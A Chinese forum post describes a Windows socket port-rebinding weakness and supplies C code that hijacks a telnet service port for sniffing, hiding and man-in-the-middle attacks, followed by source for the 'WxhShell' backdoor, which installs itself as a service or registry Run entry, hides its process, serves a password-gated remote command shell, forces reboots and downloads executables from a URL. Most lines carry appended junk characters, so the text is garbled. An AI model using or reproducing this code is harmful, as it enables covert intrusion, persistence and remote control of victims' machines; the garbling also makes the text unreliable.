社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17778阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "<ow;ciJF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \ }xK$$f2,  
;l> xXSB7$  
  saddr.sin_family = AF_INET; F +PIZ%  
 hLFf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GHj1G,L@\  
*@o@>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7Ipt~K}  
0}Rxe  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \]GO*]CaV  
B!GpD@U  
  这意味着什么?意味着可以进行如下的攻击: F{)YdqQ  
+qq,;npi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9 tkj:8_  
&?>h#H222  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K];nM}<  
O-Hu:KuIf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I\DmVc\l  
T:o!H Xdj^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :zfnp,Gv  
v#&r3ZW0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _ _cJ+%e  
~E-YXl9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,!t1( H  
B04%4N.g"X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %41dVnWB^4  
6l&m+!i  
  #include -q' np0H  
  #include jUtrFl  
  #include 16/+ O$#y  
  #include    <_@ K4zV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6} "?eW  
  int main() 2A|^6#XN'  
  { 0i\ol9,bf  
  WORD wVersionRequested; "Pi\I9M3  
  DWORD ret; bcL>S$B  
  WSADATA wsaData; wGa0w*$  
  BOOL val; ^_6%dKLK  
  SOCKADDR_IN saddr; ##d\|r  
  SOCKADDR_IN scaddr; W7.O(s,32  
  int err; 9UTWq7KJ  
  SOCKET s; [0.>:wT  
  SOCKET sc; W"Hjn/xSS  
  int caddsize; E{gu39D  
  HANDLE mt; y_J~n 9R  
  DWORD tid;   *bRer[7y  
  wVersionRequested = MAKEWORD( 2, 2 ); !iUdej^tx  
  err = WSAStartup( wVersionRequested, &wsaData ); b9ysxuUdS  
  if ( err != 0 ) { *}R5=r0  
  printf("error!WSAStartup failed!\n"); 6-va;G9Fc  
  return -1; hh}%Z=  
  } vLn<=.  
  saddr.sin_family = AF_INET; XSt5s06TM  
   mNN,}nHu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZiM#g1;  
AE!WYE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LinARMPv  
  saddr.sin_port = htons(23); PbxuD*LQ.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pd!;z=I  
  { z"o;|T:  
  printf("error!socket failed!\n"); 1<A+.W  
  return -1; 9\3%5B7  
  } #b\&Md|;  
  val = TRUE; xP*9UXZ4P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8yz A W&q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GDw4=0u-  
  { o_/C9[:  
  printf("error!setsockopt failed!\n"); SF+ ^dPwj  
  return -1; ka{9{/dz3  
  } "L@qjSs8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !OWVOq8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hKtOh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *E0+!  
D *W+0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dvxD{UH  
  { /- z_"G  
  ret=GetLastError(); +A8S 6bA[=  
  printf("error!bind failed!\n"); Le9r7O:  
  return -1; qyl~*r*  
  } ]_I<-}?;  
  listen(s,2); _/ j44q  
  while(1) %\N.m/5  
  { //@_`.  
  caddsize = sizeof(scaddr); Hf+A52lrf  
  //接受连接请求 'j#oMA{0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g3n^ <[E  
  if(sc!=INVALID_SOCKET) X +;Q=  
  { Noz+\O\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /' L20aN2  
  if(mt==NULL) X0b :Oiw  
  { Uo(\1&?  
  printf("Thread Creat Failed!\n");  w J!  
  break; qMYR\4"$  
  } %8`zaa  
  } I /3=~;u  
  CloseHandle(mt); X^%I 3  
  } o;FjpZ  
  closesocket(s); ;w4rwL  
  WSACleanup(); 9Q=g]int u  
  return 0; H(Mlf  
  }   6_;3   
  DWORD WINAPI ClientThread(LPVOID lpParam) ERL(>)  
  { ]=9%fA  
  SOCKET ss = (SOCKET)lpParam; l1jS2O(  
  SOCKET sc; r&}fn"H!  
  unsigned char buf[4096]; IaE};8a8  
  SOCKADDR_IN saddr; +<:p`%  
  long num; R-`{W:S  
  DWORD val; )_+"  
  DWORD ret; F"hi2@/TI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z-[Jbjhd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @`}'P115@  
  saddr.sin_family = AF_INET; {xEX_$nv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wX#\\Jgi  
  saddr.sin_port = htons(23); U,iTURd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #` z!f0 P  
  { oLruYSaD  
  printf("error!socket failed!\n"); }y|% wym  
  return -1; Uvf-h4^J]:  
  } /qI80KVnN  
  val = 100; p: sn>Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;oh88,*'  
  { Q C~~  
  ret = GetLastError(); @pytHN8( $  
  return -1; 1{o CMq/v  
  } -# <,i '  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z-7F,$  
  { P%Q}R[Q  
  ret = GetLastError(); kGc)Un?'{U  
  return -1; }E>2U/wpXY  
  } Km+29  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fhH* R*4  
  { 2:pq|eiF  
  printf("error!socket connect failed!\n"); DLS-WL  
  closesocket(sc); pe,c  
  closesocket(ss); dmlh;Z  
  return -1; fbw {)SZ  
  } [n74&EH  
  while(1) ]-x#zp;=  
  { \vQ_:-A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;i:Uoyi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (Egykh>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aE,x>I 7 D  
  num = recv(ss,buf,4096,0); /f%u_ 8pV%  
  if(num>0) P]y2W#Rs  
  send(sc,buf,num,0); J)jiI>  
  else if(num==0) WK;p[u?~xi  
  break; {GWcw<g.B  
  num = recv(sc,buf,4096,0); v{% /aw  
  if(num>0) '2# 0UdG  
  send(ss,buf,num,0); =[1 W.Zt  
  else if(num==0) SI;G|uO;/  
  break; uT-WQ/id  
  } }a<MVG:>SF  
  closesocket(ss); ,nHz~Xi1t  
  closesocket(sc); +nJ}+|@K  
  return 0 ; G)<k5U4  
  } \re.KB#R  
RtqW!ZZ:H  
B.Xm*adBT  
========================================================== ,{oP`4\Lm  
W_sDF; JP  
下边附上一个代码,,WXhSHELL "X]u fZ7  
//LXbP3/  
========================================================== ;V@} oD+  
`gss(o1}  
#include "stdafx.h" { @-Q1  
?: meix  
#include <stdio.h> ww\/$ |  
#include <string.h> k*!J,/=k  
#include <windows.h> B=Zo0 p^  
#include <winsock2.h> b7>;UX  
#include <winsvc.h> 2>EIDRLJ-  
#include <urlmon.h> ~{5%~8h.0r  
aD&10b9`  
#pragma comment (lib, "Ws2_32.lib") efbt\j6@%2  
#pragma comment (lib, "urlmon.lib") vG\Wr.h0!=  
gdT^QM:y4$  
#define MAX_USER   100 // 最大客户端连接数 x_@ev-  
#define BUF_SOCK   200 // sock buffer fmSw%r|pT  
#define KEY_BUFF   255 // 输入 buffer \C<rg|  
a,j!B hu  
#define REBOOT     0   // 重启 eQ9x l  
#define SHUTDOWN   1   // 关机 *Lh0E/5  
"(C }Dn#  
#define DEF_PORT   5000 // 监听端口 e<C5}#wt  
/FYa{.Vlr  
#define REG_LEN     16   // 注册表键长度 5;|9bWH  
#define SVC_LEN     80   // NT服务名长度 1qQgAhoY  
hD$U8~zK  
// 从dll定义API )(ma  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gf%o|kX]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s-C.+9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M?\)&2f[Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F~DG:x~  
Ffhbs D  
// wxhshell配置信息 u j:w^t ][  
struct WSCFG { Y]Fq)  -  
  int ws_port;         // 监听端口 !^m5by  
  char ws_passstr[REG_LEN]; // 口令 _nRshTt`V&  
  int ws_autoins;       // 安装标记, 1=yes 0=no M>]%Iu  
  char ws_regname[REG_LEN]; // 注册表键名 H@ w6.[#  
  char ws_svcname[REG_LEN]; // 服务名 5#fLGXP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =x^I 5Pn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hou{tUm{xC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M,#t7~t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }40/GWp<f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _c(=>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '<}7bw}+c  
!^LvNW\|  
}; L,D!T&B  
kfVG@o?o  
// default Wxhshell configuration Tbwq_3f K  
struct WSCFG wscfg={DEF_PORT, n >eIQaV  
    "xuhuanlingzhe", +}Q4 g]M8  
    1, c:$:j,i}  
    "Wxhshell", .xk<7^ZD  
    "Wxhshell", q?MYX=Y6  
            "WxhShell Service", 4sJx_Qi  
    "Wrsky Windows CmdShell Service", Y^!40XjrD  
    "Please Input Your Password: ", 9iOlR=-*  
  1, L;`4"  
  "http://www.wrsky.com/wxhshell.exe", H?~u%b@   
  "Wxhshell.exe" 43)9iDmJ8<  
    }; Sm1bDa\!=  
yNT2kB'  
// 消息定义模块 _cJ{fYwYU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [n}c}%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lZua"Ju  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c]"B)I1L  
char *msg_ws_ext="\n\rExit."; xUw\Y(!  
char *msg_ws_end="\n\rQuit."; *K98z ?  
char *msg_ws_boot="\n\rReboot..."; tEEhSG)s%  
char *msg_ws_poff="\n\rShutdown..."; KW;xlJz(j  
char *msg_ws_down="\n\rSave to "; a-} %R  
54;iLL  
char *msg_ws_err="\n\rErr!"; |knP  
char *msg_ws_ok="\n\rOK!"; :^*V[77  
vV'^HD^v  
char ExeFile[MAX_PATH]; iwVra"y  
int nUser = 0; K;97/"  
HANDLE handles[MAX_USER]; Xo*$|9[.  
int OsIsNt; JZY=2q&  
dyp] y$  
SERVICE_STATUS       serviceStatus; q+:(@w6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; feopO j6~+  
Ab"uN  
// 函数声明 ft*0?2N~  
int Install(void); N Hh  
int Uninstall(void); M!hby31  
int DownloadFile(char *sURL, SOCKET wsh); $%E9^F  
int Boot(int flag); ,mX|TI<*  
void HideProc(void); A8RT3OiXA  
int GetOsVer(void); (gf\VYM-7  
int Wxhshell(SOCKET wsl); f|G7L5-  
void TalkWithClient(void *cs); %%Kg'{-:  
int CmdShell(SOCKET sock); Ly<;x^D  
int StartFromService(void); YH[_0!JY^  
int StartWxhshell(LPSTR lpCmdLine); EGDE4n5>I  
C&st7. (k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `MwQ6%lf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $oQsh|sTI  
6P~"7k  
// 数据结构和表定义 (g)@wNBW  
SERVICE_TABLE_ENTRY DispatchTable[] = e-')SB  
{ 'H'+6   
{wscfg.ws_svcname, NTServiceMain}, h@~X*yLKh  
{NULL, NULL} iR_Syk`G*A  
}; Y-Ku2m  
_l,Z38  
// 自我安装 P3yiJ|vP  
int Install(void) E 5t+;vL~  
{ 1;xw)65  
  char svExeFile[MAX_PATH]; =5/;h+bk+3  
  HKEY key; PHK#b.B>a8  
  strcpy(svExeFile,ExeFile); 0;H6b=  
t? A4xk  
// 如果是win9x系统,修改注册表设为自启动 y;Zfz~z  
if(!OsIsNt) { mce`1Tjw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p)^:~ ll  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )eFFtnu5  
  RegCloseKey(key); PJYA5"}W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OT& E)eR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M$W#Q\<*#r  
  RegCloseKey(key); w.Vynb  
  return 0; L@_">' pR  
    } &+j^{a  
  } (rG1_lUDu  
} XH *tChf<  
else { D+)=bPMe  
0;h1LI)  
// 如果是NT以上系统,安装为系统服务 N.G*ii\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UjDF  
if (schSCManager!=0) yK B[HpU-  
{ `I>K?  
  SC_HANDLE schService = CreateService xI: 'Hk1  
  ( +.lWck  
  schSCManager, huoKr  
  wscfg.ws_svcname, ,4Fqvg  
  wscfg.ws_svcdisp, pG( knu  
  SERVICE_ALL_ACCESS, y9L#@   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %7evPiNB  
  SERVICE_AUTO_START, ?Bzi#Z  
  SERVICE_ERROR_NORMAL, {~^)-^Wt:  
  svExeFile, G; [A Q:Iy  
  NULL, UBi4itGD  
  NULL, VqL 5f  
  NULL, 6)U&XWH0  
  NULL, &7T H V  
  NULL fBgKX ?Y  
  ); CdDd+h8  
  if (schService!=0) '^l^gW/|\  
  { i f<<lq  
  CloseServiceHandle(schService); $uw+^(ut  
  CloseServiceHandle(schSCManager); i+[3o@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '= <`@  
  strcat(svExeFile,wscfg.ws_svcname); <gdgcvd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b H?qijrC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V0Z7o\-J  
  RegCloseKey(key); Hm VTfH'  
  return 0; daIL> c"  
    } b'1d<sD  
  } , imvA5  
  CloseServiceHandle(schSCManager); n+qVT4o  
} ewrWSffe  
} EO&ACG  
/HuYduGdP  
return 1; WQ}!]$<"y  
} = (gmd>N  
nbASpa(  
// 自我卸载 Dum`o^l#  
int Uninstall(void) b3b~T]]  
{ 8q [c  
  HKEY key; 2rCY&8  
}=hoATs  
if(!OsIsNt) { X^D9)kel  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2-V)>98  
  RegDeleteValue(key,wscfg.ws_regname); ;hA7<loY  
  RegCloseKey(key); 7_40_kwJi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f4k5R  
  RegDeleteValue(key,wscfg.ws_regname); eq~c  
  RegCloseKey(key); `MsYgd  
  return 0; >I& jurU#  
  } @qPyrgy  
} NVJ&C]H6  
} Nr24[e G>d  
else { W/r mm*  
{?/8jCVd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 48 CI8[T  
if (schSCManager!=0) QG|GXp_q`  
{ U>_IYT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ],F}}pv  
  if (schService!=0) w2d]96*kQe  
  { ?JgO-.  
  if(DeleteService(schService)!=0) { H_?B{We  
  CloseServiceHandle(schService); d{yIy'+0/  
  CloseServiceHandle(schSCManager); pf8O`e,Awf  
  return 0; VS9]p o>=  
  } XalJo@%-  
  CloseServiceHandle(schService); 9c6GYWIFt&  
  } &QTeGn  
  CloseServiceHandle(schSCManager); c',:@2R  
} &'(a$ S>v  
} Q+d.%qhc  
[2'm`tZL  
return 1; v1nQs='  
} Fi'M"^:r {  
z]c,} Q  
// 从指定url下载文件 OwA~(  
int DownloadFile(char *sURL, SOCKET wsh) (9}eF)+O  
{  @yt 2_  
  HRESULT hr; RM&H!E<#  
char seps[]= "/"; Y=a v8Y|`  
char *token; ;tp]^iB#  
char *file; sLG>>d3R1  
char myURL[MAX_PATH]; 'B3Wza.  
char myFILE[MAX_PATH]; y~ _za(k  
1BMB?I  
strcpy(myURL,sURL); Or+*q91j  
  token=strtok(myURL,seps); =_RcoG/^~  
  while(token!=NULL) N^\2 _T  
  { u  m: 0y,  
    file=token; LZr0]g{Pu/  
  token=strtok(NULL,seps); G#e9$!  
  } (!*Xhz,(-  
tL~,ZCQz  
GetCurrentDirectory(MAX_PATH,myFILE); E-)VPZ1D  
strcat(myFILE, "\\"); ]3t1=+  
strcat(myFILE, file); ]$~Fzs  
  send(wsh,myFILE,strlen(myFILE),0); zb;(?!Bd#  
send(wsh,"...",3,0); ]<kupaRQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S jVsF1d_  
  if(hr==S_OK) @S}/g/+2  
return 0; )sW6iR&_i  
else f]tv`<Q7  
return 1; lt{lpH  
Z5G]p4  
} k0|`y U  
)bLGEmm  
// 系统电源模块 <NG/i i=  
int Boot(int flag) s\'y-UITi1  
{ <<=e9Lh  
  HANDLE hToken; *Y85DEA  
  TOKEN_PRIVILEGES tkp; )jyq{Jb  
O^9CV*]!n  
  if(OsIsNt) { zL:&Q<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZV'$k\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lWx  
    tkp.PrivilegeCount = 1; *jk3 \KaoV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &?.n2+T+ =  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (C daE!I4Q  
if(flag==REBOOT) { Go>wo/Sb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DR:8oo&E  
  return 0; fdlvn*H  
} D \N \BD  
else { 3k#[(phk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sl/=g   
  return 0; z Yw;q3"  
} U;xu/xDRi  
  } Y^52~[w~  
  else { q#P$'7"  
if(flag==REBOOT) { v(DwU!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'X =p7 d|'  
  return 0; )~ 0}Et l  
} o:2Q2+d  
else { D.'h?^kA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JD6aiI!Su  
  return 0; ]N*L7AVl  
} E {tx/$f  
} g;pR^D'M5C  
jY7=mAd  
return 1; *YWk1Cwjo  
} wfgqgPo!v  
2w+U$6e C  
// win9x进程隐藏模块 C ye T]y  
void HideProc(void) 4/S=5r}  
{ Hd9XfU  
lT2 4JhJ#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M)&Io6>  
  if ( hKernel != NULL ) ? ^M /[@  
  { *LANGQ"2(i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bS.s?a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x^G'rF"nT  
    FreeLibrary(hKernel); 5%*w<6<_z  
  } ~ 9GOk;{~&  
,CP 5~4u  
return; zh\p  
} :0$a.8Y\++  
tz26=8  
// 获取操作系统版本 |EKu2We*  
int GetOsVer(void) E<tK4?i"  
{ 0RUi\X4HI  
  OSVERSIONINFO winfo; O] Y v   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {C3U6kKs;R  
  GetVersionEx(&winfo); ui:=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -$(Jk<  
  return 1; jMM$d,7B  
  else E@-ta):  
  return 0; bLzs?eos  
} Mi+H#xx16  
0Vkl`DmeM.  
// 客户端句柄模块 ~ 3^='o  
int Wxhshell(SOCKET wsl) ]hA,LY f  
{ LxLy+yC#p  
  SOCKET wsh; !\FkG8  
  struct sockaddr_in client; B z^|SkEit  
  DWORD myID; q2hFOm  
%SrM|&[  
  while(nUser<MAX_USER) j9d!yW  
{ #]CFA9 z  
  int nSize=sizeof(client); +Y}V3(w9X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `ltN,?/  
  if(wsh==INVALID_SOCKET) return 1; <Mx0\b!  
[}OgSP9i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nd ink$  
if(handles[nUser]==0) F>zl9Vi<  
  closesocket(wsh); rYY$wA@  
else LCs__.  
  nUser++; $Az^Y0[D  
  } 'fx UV<K&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9i5tVOhE  
K{@3\5<  
  return 0; N|mJg[j@7  
} (hB?  
"9IYB)Js  
// 关闭 socket )[L^Dmd,  
void CloseIt(SOCKET wsh) gn8 |/ev  
{ ~ Vw9  
closesocket(wsh); RBwO+J53y  
nUser--; ]}Z4P-"t  
ExitThread(0); ST5V!jz  
} Tlq-m2]  
'm3t|:nMU  
// 客户端请求句柄 X T[zj <&_  
void TalkWithClient(void *cs) .B72C[' c  
{ hB9Ee@  
.pPm~2]z  
  SOCKET wsh=(SOCKET)cs; R!(ZMRMn  
  char pwd[SVC_LEN]; >(r{7Qg  
  char cmd[KEY_BUFF]; sa1h%<   
char chr[1];  R'}95S<  
int i,j; ~1 ~Xfo>  
S?ujRp  
  while (nUser < MAX_USER) { 7%MbhlN.  
DC+b=IOz  
if(wscfg.ws_passstr) { t23'x0l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^03j8Pc-c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2f>PO +4S{  
  //ZeroMemory(pwd,KEY_BUFF); >&,[H:Z  
      i=0; 4dawg8K`9  
  while(i<SVC_LEN) { #3$\Iu  
izgp*M,  
  // 设置超时 @{hd{>K*  
  fd_set FdRead; Bc7V)Y K  
  struct timeval TimeOut; G7GZDi  
  FD_ZERO(&FdRead); 5| B(\wqG  
  FD_SET(wsh,&FdRead); 5|QzU|gPn  
  TimeOut.tv_sec=8; ritBU:6  
  TimeOut.tv_usec=0; m2~&#c\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Wy .IcWK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5cJ !"  
WWKvh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,Lpixnm]  
  pwd=chr[0]; 0AK,&nbF  
  if(chr[0]==0xd || chr[0]==0xa) { q:\g^_!OGA  
  pwd=0; <TGn=>u  
  break; t_z,>,BqJ  
  } .Jx9bIw  
  i++; h RC  
    } 1Xu?(2;NF  
XV3C`:b  
  // 如果是非法用户,关闭 socket *N'K/36;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {-3LIO  
} )s_n  
cD*}..-/4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lot%N(mB`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kIHDeo%K}  
%`MQmXgM  
while(1) { #Z+i~t{e(  
 hc#!Lv  
  ZeroMemory(cmd,KEY_BUFF); s m,VYYs  
4y:]DC"  
      // 自动支持客户端 telnet标准   kOO Gw:/  
  j=0; -l~Z0U>^  
  while(j<KEY_BUFF) { W%<LTWOc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2. G=8:l  
  cmd[j]=chr[0]; b-ll  
  if(chr[0]==0xa || chr[0]==0xd) { MP Z3D9  
  cmd[j]=0; v ^[39*8  
  break; F{06 _T  
  } {]_uMg#!  
  j++; [^CV>RuO  
    } [.se|]t7X  
Hnknly  
  // 下载文件 <8,o50`B  
  if(strstr(cmd,"http://")) { ~h}Fi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I V%zO+  
  if(DownloadFile(cmd,wsh)) SIO&rrT.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [B@'kwD\l  
  else '* mH*?Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Z(K6U#.  
  } F+R?a+e  
  else { kiUGZ^k\s  
:B3[:MpL}  
    switch(cmd[0]) { -;f*VM.a  
  FZjHw_pP  
  // 帮助 lC:k7<0Ji  
  case '?': { |4$M]Mf0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b@RHc!,>jV  
    break; `&\Q +W  
  } O~j> ?  
  // 安装 ojYbR<jn9  
  case 'i': { 'z76 Sa  
    if(Install()) sn7AR88M;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}g\D#`]/  
    else s { #3r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mc=LP>uoS  
    break; DPi_O{W>  
    } 5T sUQc  
  // 卸载 J+rCxn?;g  
  case 'r': { V5+SWXZ  
    if(Uninstall()) HhO".GA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A-:O`RK  
    else 5F`;yh+e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KiGp[eb  
    break; c/c$D;T  
    } }Zl&]e  
  // 显示 wxhshell 所在路径 21k5I #U  
  case 'p': { r0p w_j  
    char svExeFile[MAX_PATH]; YK|bXSA[  
    strcpy(svExeFile,"\n\r"); *JggU  
      strcat(svExeFile,ExeFile); 8DP+W$  
        send(wsh,svExeFile,strlen(svExeFile),0); %$%& m1Y  
    break; {U&.D [{&  
    } vJAZ%aW  
  // 重启 !9 fz(9  
  case 'b': { Gt9&)/#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IV\J3N^  
    if(Boot(REBOOT)) 2WUT/{:X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [+O"<Ua  
    else { GfM;saTz{  
    closesocket(wsh); 'SQG>F Uy  
    ExitThread(0); u2 `b'R9  
    } f~ }H  
    break; !i=nSqW  
    } 9UvXC)R1  
